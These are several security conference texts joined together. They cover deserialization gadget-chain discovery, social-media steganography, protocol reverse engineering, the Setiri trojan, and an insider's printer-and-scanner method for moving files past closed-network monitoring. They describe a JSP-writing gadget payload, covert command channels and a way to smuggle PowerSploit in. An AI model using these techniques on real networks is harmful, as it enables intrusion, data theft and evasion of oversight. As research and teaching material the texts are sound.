5. clojure.lang.APersistentMap$KeySeq.iterator() (0)
6. com.netflix.internal.utils.collections.IteratorWrapper$CallableWrapper.iterator() (0)
7. java.util.concurrent.Executors$RunnableAdapter.call() (0)
8. org.apache.commons.exec.StreamPumper.run() (0)
9. org.eclipse.core.internal.localstore.SafeFileOutputStream.close() (0)
10. org.eclipse.core.internal.localstore.SafeFileOutputStream.commit() (0)
11. org.eclipse.core.internal.localstore.SafeFileOutputStream.copy(File, File) (2)
12. java.io.FileOutputStream.<init>(File) (1)
Results: Netflix Internal Webapp 2
Automated Discovery of Deserialization Gadget Chains
Ian Haken
Results: Netflix Internal Webapp 2
1. com.thoughtworks.xstream.mapper.AbstractAttributeAliasingMapper.readResolve() (0)
2. org.apache.commons.configuration.ConfigurationMap$ConfigurationSet.iterator() (0)
3. ...configuration.ConfigurationMap$ConfigurationSet$ConfigurationSetIterator.<init>() (0)
4. org.apache.commons.configuration.CompositeConfiguration.getKeys() (0)
5. clojure.lang.APersistentMap$KeySeq.iterator() (0)
6. com.netflix.internal.utils.collections.IteratorWrapper$CallableWrapper.iterator() (0)
7. java.util.concurrent.Executors$RunnableAdapter.call() (0)
8. org.apache.commons.exec.StreamPumper.run() (0)
9. org.eclipse.core.internal.localstore.SafeFileOutputStream.close() (0)
10. org.eclipse.core.internal.localstore.SafeFileOutputStream.commit() (0)
11. org.eclipse.core.internal.localstore.SafeFileOutputStream.copy(File, File) (2)
12. java.io.FileOutputStream.<init>(File) (1)
com.thoughtworks.xstream:xstream
commons-configuration:commons-configuration
org.clojure:clojure
netflix:netflix-utils
JRE
org.apache.commons:commons-exec
org.aspectj:aspectjtools
Automated Discovery of Deserialization Gadget Chains
Ian Haken
1. com.thoughtworks.xstream.mapper.AbstractAttributeAliasingMapper.readResolve() (0)
2. org.apache.commons.configuration.ConfigurationMap$ConfigurationSet.iterator() (0)
3. ...configuration.ConfigurationMap$ConfigurationSet$ConfigurationSetIterator.<init>() (0)
4. org.apache.commons.configuration.CompositeConfiguration.getKeys() (0)
5. clojure.lang.APersistentMap$KeySeq.iterator() (0)
6. com.netflix.internal.utils.collections.IteratorWrapper$CallableWrapper.iterator() (0)
7. java.util.concurrent.Executors$RunnableAdapter.call() (0)
8. org.apache.commons.exec.StreamPumper.run() (0)
9. org.eclipse.core.internal.localstore.SafeFileOutputStream.close() (0)
10. org.eclipse.core.internal.localstore.SafeFileOutputStream.commit() (0)
11. org.eclipse.core.internal.localstore.SafeFileOutputStream.copy(File, File) (2)
12. java.io.FileOutputStream.<init>(File) (1)
Results: Netflix Internal Webapp 2
Automated Discovery of Deserialization Gadget Chains
Ian Haken
1. com.thoughtworks.xstream.mapper.AbstractAttributeAliasingMapper.readResolve() (0)
2. org.apache.commons.configuration.ConfigurationMap$ConfigurationSet.iterator() (0)
3. ...configuration.ConfigurationMap$ConfigurationSet$ConfigurationSetIterator.<init>() (0)
4. org.apache.commons.configuration.CompositeConfiguration.getKeys() (0)
5. clojure.lang.APersistentMap$KeySeq.iterator() (0)
6. com.netflix.internal.utils.collections.IteratorWrapper$CallableWrapper.iterator() (0)
7. java.util.concurrent.Executors$RunnableAdapter.call() (0)
8. org.apache.commons.exec.StreamPumper.run() (0)
○ is = java.io.StringBufferInputStream
■ buffer = <% String cmd="calc.exe"; ... %>
○ os = org.eclipse.core.internal.localstore.SafeChunkyOutputStream
■ isOpen = false
■ filePath = /webappdir/foo.jsp
Results: Netflix Internal Webapp 2
Automated Discovery of Deserialization Gadget Chains
Ian Haken
● Reflection
○
Most reflection calls are being treated as interesting, leading to FPs
■
E.g. you can control the class but not the method name, or vice-versa
○
Blind spots for call graph enumeration
■
foo.getClass().getMethod(“bar”).invoke(...)
● Assumptions
○
Even minor improvements would allow Gadget Inspector to make better decisions
around condition satisfiability or virtual method call resolution, leading to fewer
FPs.
● Limitations
○
Entry points are enumerated using “known tricks.” Original research can still help
us find lots of other clever ways to construct gadget chains.
○
Sinks with “interesting behavior” are hard-coded. Lots of room to discover and add
sinks.
Room for Improvement
Automated Discovery of Deserialization Gadget Chains
Ian Haken
@ianhaken
https://github.com/JackOfMostTrades
● Automatic discovery for gadget chains is new territory
○ Gadget Inspector is a functional prototype; room for lots of improvement!
○ Gadget Inspector written for Java but techniques apply to other languages
● Gadget Inspector is open source
○ Fork it, submit PRs, or just check it out for more details about how it works
○ https://github.com/JackOfMostTrades/gadgetinspector
● Deserialization vulnerabilities aren’t going away yet
○ Exploits can and will be more complex as time goes on
○ Better tools will help us understand the risk of vulnerabilities
Final Thoughts | pdf |
ISC 2019 第七届互联网安全大会
郑文彬
360集团首席安全技术官、伏尔甘团队创始人
追踪NSA网络武器的那些年
扫码添加小鹅助理,与数万科技圈人士
分享重量级活动PPT、干货培训课程、高端会议免费
门票
小鹅助理
扫码添加小鹅助理,与数万科技圈人士
分享重量级活动PPT、干货培训课程、高端会议免费门票
小鹅助理
谢谢! | pdf |
A Picture is Worth a
Thousand Words, Literally
Deep Neural Networks for Social Stego
Philip Tully | Mike Raggo
1
DC25: Community, Discovery and the
Unintended Uses of Technology
2
2600: The Hacker Quarterly
3
Summer 1992
Summer 2017
25 years
#whoami
4
Philip Tully
@phtully
Principal Data Scientist at ZeroFOX
PhD (KTH & University of Edinburgh)
Machine Learning and Neural Nets
Mike Raggo
@datahiding
CSO @802 Secure, 17 yrs Stego Research
StegSpy DC12, Author “Data Hiding”
NSA National Cryptologic Museum
A Picture is Worth
A Thousand Words:
Deep Neural Networks for Social Stego
The Evolution of Steganography
5
DIY Social Steganography
Deep Neural Networks for Social Stego
Data-Driven Red and Blue Teaming
Wrap Up
A Picture is Worth
A Thousand Words:
Deep Neural Networks for Social Stego
The Evolution of Steganography
6
Covert Communication
7
“. . . any communication channel that can be exploited by a
process to transfer information in a manner that violates the
system's security policy.”
Source: U.S. Department of Defense. Trusted Computer System
Evaluation “The Orange Book”. Publication DoD 5200.28-STD.
Washington: GPO 1985
WetStone Labs
Collected Steganography Programs
Since January 1999 Includes versions
8
Tools are
simple,
designed to
exploit sense
weaknesses
Many copycats are
born, with some
new features,
greater focus on
JPEG embedding
Methods
become
more
resilient to
statistical
attacks
Multimedia
begins to
evolve into a
viable
method
New versions emerge of
existing Alg.
Steganographic file
systems begin to emerge
VOIP, RTP and UDP
techniques emerge
along with decoys to
complicate detection
and recovery
Evolution of Methods
Evolution of Stego in the Internet Era
9
▪Stego Apps Decoy Techniques (OpenPuff)
▪Stealth Alternate Data Streams (NT)
▪Weaponized CnC - Operation Shady RAT (McAfee)
▪Prootocols - VOIP, RTP, UDP => WiFi StegoStuffing, Bluetooth
(Hosmer/Raggo - Wall of Sheep/Skytalks DC23 & 24)
▪MP3 ID3 Metadata exploitation - Hosmer/Raggo Skytalks DC24
▪SmartWatch SWATtackhide.py Tizen SDK - Mike Raggo - DEF
CON 24 Demo Labs and Wall of Sheep
Types of Steganography
10
▪ Text/Linguistic Stego - using Natural
Language
▪ Image
▪ Spatial (e.g. LSB)
▪ Frequency (DCT/DWT)
▪ Metadata (varies by file type and
versions) - JPEG EXIF vs. JFIF
▪ Audio
▪ Video
▪ Protocols
▪ Use of crypto with stego
▪ Vigenere, base64, XOR, etc.
A Picture is Worth
A Thousand Words:
Deep Neural Networks for Social Stego
11
DIY Social Steganography
12
100+ hours
of video uploaded
per minute.
4.75 billion
pieces of content
shared per day.
500+ million
tweets per day.
80+ million
images uploaded per
day.
5 billion
+1’s per day.
Signals in the Social Noise
Social Network Image Proliferation
13
▪Image-based social networks have the
fastest growing user bases
▪Image-based social networks enjoy the
highest daily time spent by users
▪“Photos or Images” is the content
category most frequently share by users
▪Social posts containing images produce
650% higher engagement than text alone
Social Stego in the Wild
14
White Hat: Instegogram
Black Hat: HAMMERTOSS
Social Network Photo Targets
15
▪Profile Image
▪Background Image
▪Posted Image(s)
▪Photo albums
▪DM images
Carrier Image File Types
16
▪ Image quality properties:
▪ Lossy v. Lossless Raster
Compression
▪ DPI/PPI
▪ Common file formats:
▪ JPEG (Lossy)
▪ PNG (Lossless)
▪ TIFF (Lossless)
▪ GIF (Lossy)
▪ BMP (Lossy)
Trial and Error - Attempted Methods
17
▪Metadata fields (varies by image
types JPEG EXIF vs. JFIF, etc.)
▪LSB - Least Significant Bit
▪Insertion
▪Append after EOF marker
▪Pre and Post Upload
▪Linguistic Steganography
DataGenetics
High-Level Testing Workflow
18
Social Network Data Hiding Survivability
19
A Picture is Worth
A Thousand Words:
Deep Neural Networks for Social Stego
20
Deep Neural Networks for Social Stego
Secretbook by Owen Campbell-Moore
21
▪ Open-source Social Stego tool
▪ Chrome Extension (2013)
▪ Reverse engineered Facebook’s
lossy compression algorithm
▪ Allowed for payloads of up to 140
characters in length
Jamming Techniques
22
▪ Server-side image upload
restrictions and alterations
▪ Also legal concerns
▪ Crime investigations
▪ Trademark infringement
▪ Common Image upload Alterations:
▪ Recompression
▪ Metadata stripping
▪ Filetype conversion
▪ Resizing
23
Bulk Image Uploads/Downloads
▪Data Acquisition made easy
■
Permissive APIs for content creation
■
More content=more engagement=profit
▪Off-the-shelf photo aggregators
■
Facebook albums
■
Pinterest boards
■
Flickr sets
■
Google+ Collections
▪Or we can do it the ‘hard way’
■
for photo in album{
upload(photo); sleep(randInt); }
08 02 22 97 38 15 00 75 04 05 07 78 52
49 49 99 40 17 81 18 57 60 87 17 40 98
81 49 31 73 55 79 14 29 93 71 40 67 53
52 70 95 23 04 60 11 42 69 24 65 56 54
22 31 16 71 51 67 63 89 41 92 36 54 22
24 47 32 60 99 03 45 02 44 75 33 53 78
32 98 01 20 64 23 67 10 26 38 40 67 59
67 26 20 68 02 62 12 20 95 63 94 39 63
24
What humans see
What computers see
Auto-Generating Data
▪Select 50k ImageNet samples
▪Automate uploads and downloads
▪=100k pre-uploaded and downloaded images
▪Compare pixels between phases
▪Can comparison/location be automated?
▪But Neural Nets don’t scale to Images
■
width * height * 3 channels = unmanageable # weights
■
encode these properties into the architecture
25
Convolutional Neural Networks
▪Proven great for Computer Vision Tasks:
■
Object classification, Facial recognition
▪Pose as a Regression Task
■
Locate optimally embeddable pixels
■
Akin to bounding boxes for object detection
▪ConvNet hyperparameters
■
7 stacked layers (5 convolutional, 2 fully connected)
■
Fed thru ReLUs and smooth L1 loss regression layer
▪Model spec
■
Keras on top of TensorFlow (Python)
■
Google GPU (8 vCPU Nvidia Tesla)
Illustration: Andrej Karpathy
CNNs: Szegedy, Toshev & Erhan,
2013
26
Prototype Evaluation
▪More robust, less detectable transmission
▪Learned locations correspond to locations
that are more complex and “busier”
▪Minimal Visual Dissimilarity
■
Distortion: peak signal-to-noise ratio
■
Capacity: byte Survivability
▪Recovery rates worsen as hidden data size
decreases
A Picture is Worth
A Thousand Words:
Deep Neural Networks for Social Stego
27
Data-Driven Red and Blue Teaming
InfoSec ML Historically Prioritizes Defense
TIME
28
Data-Driven Social Engineering
29
Level of Effort
Success Rate
SNAP_R
Fully Automated
30-35% Accuracy
Spear Phishing
Highly Manual
45% Accuracy
Phishing
Mostly Automated
5-14% Accuracy
Low
High
Low
High
▪Black Hat/DEF CON 2016
▪Why Twitter?
■
Bot-friendly API
■
Colloquial syntax
■
Shortened URLs
■
Abundant personal data
▪Machine grammar suffices
▪10k+ DoD accts targeted
Red Team ML Rising
30
▪Growing number of examples:
■
Micro-targeted social engineering
■
Password cracking
■
Captcha subversion
■
AV evasion
■
Steganography
▪Offensive ML easier than defensive ML!
■
“Labeling Bottleneck” - unsupervised
▪Success matters more for blue than red team
▪Retreating barriers to entry
■
More open-source initiatives
■
Cheapening access to powerful machines (eg. GPUs)
Not to worry, though...
31
▪Offensive ML is a positive development
▪It will “keep us honest”
▪Emerging defenses keep pace:
■
Semi-supervised learning
■
Adversarial learning
■
Transfer learning
■
Self-supervised reinforcement learning
▪Ultimately improve security
▪Faster this is realized, the better
A Picture is Worth
A Thousand Words:
Deep Neural Networks for Social Stego
32
Wrap Up
Next Steps
33
▪ More social networks
▪ More stego (frequency domain)
▪ Video files (MP4, MOV, etc.)
▪ Soon-to-be most popular
▪ News Feed promoted
▪ Audio files (MP3)
▪ Create custom MP3s w/ GarageBand
▪ MP3s embedded JPEG insertion
▪ ID3 Headers DC 24 SkyTalks Hosmer/Raggo www.python-forensics.org
Mitigations
34
▪ More sophisticated and dynamic jamming techniques
▪ Anomaly/Histogram analysis - increased quantization
▪ Impermanence: delete by default
▪ Ephemeral images a la Snapchat
▪ But generally, steganalysis is hard!
▪ Variance in social networks add exponential
complexity to identifying existence of stego
and recovery of evidence - “know thy enemy”
Summary and Questions?
35
▪ Social networks and image hosting
services can be orthogonally used to
transmit data covertly
▪ Steganography can be automated
despite distorting image upload side
effects
▪ Offensive AI is cheaper and easier to
implement than defensive AI
▪ Code released soon, PRs welcome
Philip Tully
@phtully
Mike Raggo
@datahiding | pdf |
Network Protocol Reverse Engineering
Literature Survey for “Eavesdropping on the Machines”
Presented 2016-08-05 at DEF CON 24 by Tim Estell and Katea Murray
Prior DEF CON Talks
DC22 - Jesus Molina presented “Learn how to control every room at a luxury hotel remotely: the
dangers of insecure home automation deployment”. In-depth look at a specific protocol, but no
repeatable process for NPRE.
DC 22 – Geoff McDonal presented “Meddle: Framework for Piggy-back Fuzzing and Tool
Development”, arguing “Why bother spending time understanding the protocol just to try break
it?”. His fuzzing tool sidesteps NPRE?
DC 22 – Dustin Hoffman and Thomas Kinsey presented “What the Watchers See: Eavesdropping
on Municipal Mesh Cameras for Giggles (or Pure Evil)” where they decoded an undocumented
protocol (i.e., NPRE). But they didn’t focus on a repeatable process for you to reverse your own
protocol.
DC 23 – Peter Shipely and Ryan Gooler presented “Insteon' False Security And Deceptive
Documentation” where they asserted the published protocol documentation from Insteon is
incorrect and deceptive. But no generalized process for NPRE.
Summary of Research
Published research for Network Protocol Reverse Engineering (NPRE) has addressed many challenges.
The Protocol Informatics Project (PI Project) [Beddoe 2004] accomplished PRE using network traces and
two string alignment algorithms, Needleman-Wunsch and Smith-Waterman. A Semi-automated
approach [Gopalratnam 2006] uses packets from the protocol of interest and at least one packet with
the fields labeled. Gaussian models are used to cluster the field and provide information to the user
about field values. They note their algorithm does not scale well with the number of fields being
analyzed or the size of the messages.
Some researchers state that the limitation of network traces is a lack of protocol semantics as network
traces only contain syntactic information and cannot provide the full protocol grammar [Caballero
2007]. These researchers rely on dynamic binary analysis and data tainting ([Caballero 2007] [Lin 2008]
and [Caballero 2009]) or a combination of network traces and access to the binary [Cui 2008].
However, it has been demonstrated [Trifilo 2009] that discovery of the binary features in a protocol and
a state machine builder can determine the states and proper transitions from network packet captures
alone.
Finally, the research has been reduced to practice for TCP/IP networks through Netzob [Netzob], an
open source tool with: vocabulary inference from network traces; semi-autonomous grammar
inference; and dynamic analysis through protocol simulation.
Several researchers ([Lin 2008] [Wondracek 2008] and [Trifilo 2009]) implement incremental clustering
using tree structures. However each of them requires data normalization or other grooming techniques
which are not applicable to all environments. Researchers ([Wondracek 2008] and [Caballero 2009])
have also augmented protocol specifications with semantic information by adding specific running
statistical information and a confidence metric.
The approaches do not address resource constrained environments. One potential approach uses
Balanced Iterative Reducing and Clustering using Hierarchies (BIRCH) [Zhang 1996] as a hierarchical
clustering method because it will: incrementally and dynamically cluster; execute within given memory
and time constraints; classify on a single scan of the data; and handle data with errors or noise. This
would require further optimization to prioritize high-level completeness over accuracy as a method of
initially capturing all of the message types, then reset the in-memory data structure to prioritize
accuracy of individual message types.
Research should begin with a survey of message protocol features to develop a Domain Specific
Language (DSL) suitable for compact representation of features. The DSL should extend existing work
done by the Open Grid Forum’s Data Format Description Language (DFDL) [OGF-DFDL] and by other
Data Description Languages (DDL) such as XML Schema [XML Schema]. These sources use human
readable text formatted in an XML manner, making them unsuitable for machine processing or
automated reasoning. The DSL may extend Abstract Syntax Notation One (ASN.1) encoding rules, which
provides for more efficient serialization than the text-based XML format.
Bibliography
[Beddoe 2004] Beddoe, M. (2004 August). The Protocol Informatics Project (PI Project).
http://www.4tphi.net/~awalters/PI/PI.html.
[Gopalratnam 2006] Gopalratnam, K., Basu, S., Dunagan, J., & Wang, H. (2006, June). Automatically
extracting fields from unknown network protocols. In First Workshop on Tackling Computer Systems
Problems with Machine Learning Techniques (SysML06).
[Cui 2007] Cui, W., Kennan, J., & Wnag, H. J. (2007, August). Discoverer: Automatic protocol reverse
engineering from network traces. In Proceeding of 16th USENIX Security Symposium on USENIX
Security Symposium (pp. 1-14).
[Cui 2008] Cui, W., Peinado, M., Chen, K., Wang, H. J., & Irun-Briz, L. (2008). Tupni: automatic reverse
engineering of inputs formats. In Proceedings of the 15th ACM conference on Computer and
Communications Security (CCS ’08). ACM.
[Lin 2008] Lin, Z., Jian, X., Xu, D., & Zhang, X. (2008). Automatic Protocol Format Reverse Engineering
through Context-Aware Monitored Execution. In 15th Symposium on Network and Distributed System
Security (NDSS), 2008. Internet Society.
[Wondracek 2008] Wondracek, G., Comparetti, P. M., Kruegel, C., & Kirda, E. (2008). Automatic Network
Protocol Analysis. In 15th Symposium on Network and Distributed System Security (NDSS), 2008.
Internet Society.
[Caballero 2007] Caballero, J., Yin, H., Liang, Z., & Song, D. (2007, October). Polyglot: Automatic
extraction of protocol message format using dynamic binary analysis. In Proceedings of the 14th ACM
Conference on Computer and Communications Security (pp. 317-329). ACM.
[Caballero 2009] Caballero, J., Poosankam, P., Kreibich, C., & Song, D. (2009). Dispatcher: enabling active
botnet infiltration using automatic protocol reverse-engineering. In Proceeding of the 16th ACM
Conference on Computer and Communications Security (CCS ’09). ACM.
[Trifilo 2009] Trifilo, A., Burschka, S., Biersack, E. (2009 July). Traffic to protocol reverse engineering. In
Proceedings of the Computational Intelligence for Security and Defense Applications, 2009 (CISDA
2009). IEEE
[Zhang 1996] Zhang, T., Ramakrishnan R., & Livny, M. (1996, June). “BIRCH: An Efficient Data Clustering
Method for Very Large Databases, 1996. In ACM SIGMOD Record (Vol. 25, No. 2, pp 103-114). ACM.
[Netzob] www.netzob.org. An open source tool for reverse engineering, traffic generation and fuzzing of
communication protocols.
[OGF-DFDL] http://www.ogf.org/dfdl/. Data Format Description Language (DFDL) is a language for
describing text and binary data formats. A DFDL description allows any text or binary data to be read
from its native format and to be presented as an instance of an information set. DFDL also allows data
to be taken from an instance of an information set and written out to its native format. DFDL achieves
this by leveraging W3C XML Schema Definition Language (XSDL) 1.0. It is therefore very easy to use
DFDL to convert text and binary data to a corresponding XML document. (Text taken from their web
site in January 2014)
[XML Schema] http://www.w3.org/standards/xml/schema. An XML Schema is a language for expressing
constraints about XML documents. There are several different schema languages in widespread use,
but the main ones are Document Type Definitions (DTDs), Relax-NG, Schematron and W3C XSD (XML
Schema Definitions). From this page you can find out more about DTDs and W3C XSD, since those are
the primary schema languages defined at W3C. (Text taken from their web site in January 2014) | pdf |
Setiri:
Advances in Trojan Technology
Roelof Temmingh & Haroon Meer
Defcon 10
Las Vegas
2002
Schedule
Introduction
Why Trojans?
Brief History of Trojans & Covert Channels
The Hybrid model
Setiri: Advances in Trojan Technology
Demonstration
Taking it further
Possible fixes
Introduction
SensePost
The speakers
Objective of the presentation
Why Trojans?
Profile of Trojan users
Real criminals…
…don’t write buffer overflows
The weirdness of the industry
Examples
Brief History of Trojans & Covert
Tunnels
Trojans
From Quick Thinking Greeks …
to Quick Thinking Geeks
Tunnels
Covert Channels
Trojans (Valid IP – No Filters)
‚get real..‛
Trojans (Valid IP – Stateless Filter)
Dial Home Trojans
Random Ports / Open Ports / High Ports [cDc]
ACK Tunneling
[Arne Vidstrom]
Trojans (Stateful Filters)
Orifice - http://bo2k.sourceforge.net
Gbot
Rattler
Brief History of Trojans & Covert
Tunnels
Trojans
From Quick Thinking Greeks …
to Quick Thinking Geeks
Tunnels
Covert Channels
Tunnels & Covert Channels
1985 – TSC Definition‛Covert Channels‛
1996 – Phrack Magazine – LOKI
1998 – RWWWShell – THC
1999 - HTTPTUNNEL – GNU
2000 - FireThru - Firethru
Conventional Trojans & how they fail
Stateful firewall & IDS
Direct model
Direct model with network tricks
ICMP tunneling
ACK tunneling
Properly configured stateful firewall
IRC agents +
Authentication proxy
HTTP tunnel ++
Personal firewall & Advanced Proxy
HTTP tunnel with Authentication +++
Hybrid model: “GatSlag”
Combination between covert
Tunnel and Trojan
Defenses mechanisms today:
Packet filters (stateful) / NAT
Authentication Proxies
Intrusion detection systems
Personal firewalls
Content/protocol checking
Biometrics/Token Pads/One time passwords
Encryption
A typical network
How GatSlag worked
Reverse connection
HTTP covert tunnel
Microsoft Internet Explorer as transport
Controls IE via OLE
Encapsulate in IE, not HTTP
Receive commands in title of web page
Receive encoded data as plain text in body of web page
Send data with POST request
Send alive signals with GET request
Why GatSlag worked
Integration of client with MS Proxy
NTLM authentication
SSL capable
Registry changes
Personal firewalls
Just another browser
Platform independent
IE on every desktop
Specify Controller
Via public web page – the MASTER site
Problems with Gatslag
The Controller’s IP can be obtained !
Handling of multiple instances
GUI support
Controller needed to be online
Batch commands
Command history
Multiple controllers
Upload facility not efficient
Platform support
Stability
Session level tunneling
Setiri:
Advances in Trojan Technology
Design notes:
Web site contains instructions
CGIs to create new instruction
Controller’s interface:
–EXEC (DOS commands, various)
–TX (File upload)
–RX (File download)
Directory structure – each instance
Trojan ‚surfs‛ to web site – just a normal user would
Setiri:
Advances in Trojan Technology II
Anonymity
Problems with normal proxies
Already using a proxy
Proxy logs
‚Cleaners‛ provide anonymity
‚In browser proxy‛ – Anonymizer
Trojan -> Cleaner: SSL
Cleaner -> Controller: SSL
Challenges:
Browser history
Temporary files
Why defenses fail
Firewalls (stateful/NAT)
Configured to allow user or proxy out
Content level & IDS
Looks like valid HTTP requests & replies
Files downloaded as text in web pages
No data or ports to lock on to
SSL provides encryption
Personal firewalls
IE valid application
Configured to allow browsing
Authentication proxies
User surf the web
Demonstration
Solving the dilemma
Delivery
White listing
User education
AV, personal firewalls
Should you allow everyone to surf the ‘net?
Conclusion
Awareness
Our motivation | pdf |
Out-of-Band File Transfer on Closed Systems
An Insider’s Options
Michael Rich
@miketofet
[email protected]
Abstract
I present a method of transferring arbitrary binary files to and from an ostensibly closed system
using standard office software and readily available office tools while avoiding the use of
Internet access or magnetic media. These methods are available to any determined
insider. Though the methods are not perfect, I used the techniques presented here in a
successful proof-of-concept to deliver a selection of PowerSploit tools to an otherwise clean
machine.
The Challenge
One day I was examining an internal information portal at work and discovered that the system
was using client-side data validation to prevent XSS attacks. This sort of security method is
very easy to circumvent by using standard penetration testing tools such as TamperData or
Burp Suite. I really wanted to see what would happen if I could get the XSS test through to the
server. But, I was on a closed system and not at liberty to install software even if I could
download those tools.
At first I tried to find a way to forge the POST call on my work machine. This machine was your
basic Windows box with a desktop full of standard office suites. I identified a couple of
candidate options but I was soon distracted by the more generic question: “How can I install
those tools that I want to use without alerting anyone?”
By “alerting anyone” I mean avoiding those methods that have been specifically secured and
monitored on a high-value, closed network. Without going into detail, this generally precludes
the use of any magnetic media or connecting to unapproved web or Internet resources. I
consider any path that delivers arbitrary data without triggering an alert on established
monitoring systems to be considered “out-of-band”.
Disclaimer
Lest my network admins at work have a heart attack and revoke my access, let me be clear: I
conceived of the idea at work but did all my development and testing on my home machine. I
remain a loyal and faithful adherent to my user agreements.
Resources
Almost all general-purpose office networks, if they are to be of use to an organization, have to
have a large variety of standard office software installed. They also are typically connected to a
multi-function office machine of some kind. Folks simply have to have these tools available if
they want to create, collaborate, publish, and share anything of value.
On my test machine I limited myself to access to a standard Microsoft Office suite, Adobe
Acrobat, and a high quality multi-function office device.
Overall Goal and Method
The file transfer method I ended up pursuing was using the printer and scanner connected to
my network. In any functioning office, it is perfectly normal for folks to print and scan,
sometimes in mass quantities. Print jobs and scanned documents flowing to and from a
networked printer are not likely to raise any curious security eyebrows.
I came up with a series of stages to leverage the printer and scanner as my vector for importing
and exporting arbitrary binary data from a system. Each stage consists of printing data to a
page from a source system, scanning this page on a scanner attached to closed network, and
interpreting the scan on the target system to transfer the arbitrary binary code to the system.
This process can also be reversed to remove arbitrary data from the target system as well.
For my proof-of-concept I started by printing and scanning raw text-based code snippets, moved
on to interpreting a page of hex-encoded data, and finished by generating and using a page-
sized bar code. Each stage increased the amount of data that could be packed onto single page
of paper until I got to the point where I could use the method to deliver a set of PowerSploit
tools to a closed workstation with only three printed and scanned pages
Stage 0: Get Microsoft Excel into attack mode
“Attack mode” in Microsoft Excel means enabling the Visual Basic for Applications (VBA)
development environment. This is built into Excel, but typically not enabled by default. It is
trivial to turn it on though. A user simply clicks on "Options" under the "File" Menu, selects
"Customize Ribbon", checks the box next to "Developer", and clicks "Ok". This enables a
"Developer" tab on the ribbon bar with a "Visual Basic" icon on the far left. Clicking that button
opens the VBA development environment.
Why is this attack mode? For three main reasons: VBA can create and run arbitrary code, VBA
can modify arbitrary files at the byte level, and VBA can execute arbitrary functions in arbitrary
DLL files with inputs of the attacker’s choosing. First, with access to VBA an attacker can now
run arbitrary code. VBA is a fully fledged, if somewhat annoying, programming language. While
doing this research I reinforced a possible law of security engineering: if a user can code, the
system isn’t secure. It’s always been known that specialized users, such as programmers with
access to code compilers, are a threat to a system’s security. So, we watch them a little more
carefully. But every user of a general-purpose office environment has access to a full Integrated
Development Environment at all times. Odds are the organization lacks the manpower to watch
every user to the same level of fidelity they lavish upon their specialized users. This can create
a security seam a malicious insider can exploit.
The second reason this puts Excel into attack mode is that VBA allows byte by byte binary
reading and writing of arbitrary files. If the user has access to read a file they can basically do
anything they want to it at that point. Of course even a minimally secured machine shouldn’t
allow the users to modify an important system file, but they can always copy it and modify their
copy. This sort of functionality can be leveraged to circumvent security in ways that are only
limited by the attacker’s imagination and capability.
The third reason is VBA’s ability to make direct calls to arbitrary functions in arbitrary DLLs with
arbitrary inputs. VBA can also call an executable file with any arbitrary file name; the file does
not have to end with a ".exe" or ".dll" extension. That’s a whole lot of arbitrary to take advantage
of. I use it here to eventually run my custom DLL but the bottom line is VBA exposes a lot of
attack surface to take advantage of and that's why I call entering Developer mode "putting Excel
into attack mode".
Stage 1: VBA script import
Now that VBA is active, we need it to run code we have carefully written and tested in our
lab. This is actually quite straightforward. We simply print the script file in the lab, scan it on the
target network, use Adobe Acrobat Optical Character Recognition to turn that scan back in to
code, and cut and paste the code back into VBA.
This won't be perfect, of course. In the OCR process, Adobe will frequently drop the comment
delimiter, making for bad lines of code. It also likes to drop the "=" sign, turning assignment
operations into a statement that VBA may interpret as a kind of function call. Luckily for us,
VBA is quite likely to highlight any egregious syntax errors in red as shown below:
Figure 1: VBA syntax errors
Also, once you fix the obvious errors and try to run it for the first time VBA will highlight any run
time errors:
Figure 2: VBA run time errors
It is very possible the code won't work, even though it compiles and runs. In that case the
attacker will need to examine what they've got and compare it to their original print out. One
consistent mistake I saw was the movement of statements based upon an OCR
misinterpretation of indentations or wrap-around lines. For example, consider the word "Value"
below:
Figure 3: "Value" original location
After OCR Adobe moves its location to before all of the comment lines:
Figure 4: "Value" final location
This same error will be present in any indented code block. The trailing delimiter for that code
block will typically get moved to just after the opening delimiter. For example, with a
FOR...NEXT statement, Adobe will move the NEXT statement to just under the FOR statement,
effectively skipping the entire code block.
Luckily VBA doesn't require indentation for its code blocks, they are text-delimited. This means
you can remove all of the idents from the code and print and scan it that way. This makes for
harder-to-read code but it will maintain the overall code structure.
Some amount of editing will almost certainly be needed to make the code work but overall it is
quite straightforward to load a script of arbitrary complexity into VBA in this manner. If that
script was compact enough the attacker could just type it in, of course.
Stage 2: Hex Magic
I wrote a VBA script that will take an arbitrary file and generate a printable hex encoded text file
out of it. It can also reverse the process to turn hex code back in to the original file. That is a
rather straightforward process. The magic comes in by making this hex code printable,
scannable, and easily interpreted by the OCR algorithm to recreate the original file with as few
errors as possible.
I did a lot of tests to figure out how much data I could pack on to a single page of hex code. By
using 8 pt Consolas font I was able to get about 3.6kB of data on a single page. But, no matter
how finely I scan the hex code, there are always errors in the OCR. Some of these errors are
simple transcription errors, such as "1" (one) being converted to "l" (lowercase L) or "5" being
read as an "S". This type of error is easy to filter out since a lowercase L and an S are not valid
hexadecimal characters and can simply be considered a 1 or a 5 respectively when reading the
hex data. Other errors are a little more insidious, such as a "B" (the letter B) being read as an
"8" (the number 8). Both B and 8 are valid hex numbers so it isn't clear which one it should be
at any given location in scanned hex text. This error is also quite common, so I needed to find
an easy way to filter it out. In the end I replaced "B" with "#" and "D" with "?" in the printed
text. This eliminated a large number of transcription errors. There are other errors such as
added periods and added spaces that also needed to be addressed. I also investigated using
other encoding such as Base-64, but that encoding uses almost the entire range of printable
characters as valid symbols. Because of this it is impossible to identify a transcription error and
the file cannot be recreated.
But, no matter how much automatic correction I put in, something is bound to go wrong. With
the corrections discussed above--and some other ones visible in the Hex Magic code--I only
had 1 error in 1210 lines of printed, scanned, and OCR'd hex text. That was pretty good, but it
was an error nonetheless. To help detect these errors, Hex Magic generates a simple 2-byte
XOR checksum for each line, and a 2-byte XOR checksum for the whole file. I chose this as my
checksum because I needed something compact that I could include with each line that wouldn't
take up much space. Also, the XOR function is built into VBA.
As Hex Magic decodes scanned and converted hex text, it will highlight all rows where the XOR
checksum fails. For example:
Figure 5: Checksum errors in Hex Magic
At that point, the attacker has to locate the line of hex code in his original document, compare it
to the converted hex text and correct the error manually. This may seem daunting but by using
"Ctrl-F" to find the offending XOR checksum in Adobe it's actually a straightforward and efficient
solution. When using this technique to deliver a 65K payload, I was able to get the file
successfully decoded in under 10 minutes.
An example of a full hex-encoded page of data can be seen at attachment 1.
Hex Magic proved to be very reliable. In fact it could be used to deliver payloads without the
need for a scanner. It may be very, very tedious to type in line after line of hex code, but it
would work perfectly and leave almost no trace on the network. However, it doesn't put enough
data on each page. 3.6K per page is not very efficient. A payload like PowerSploit would need
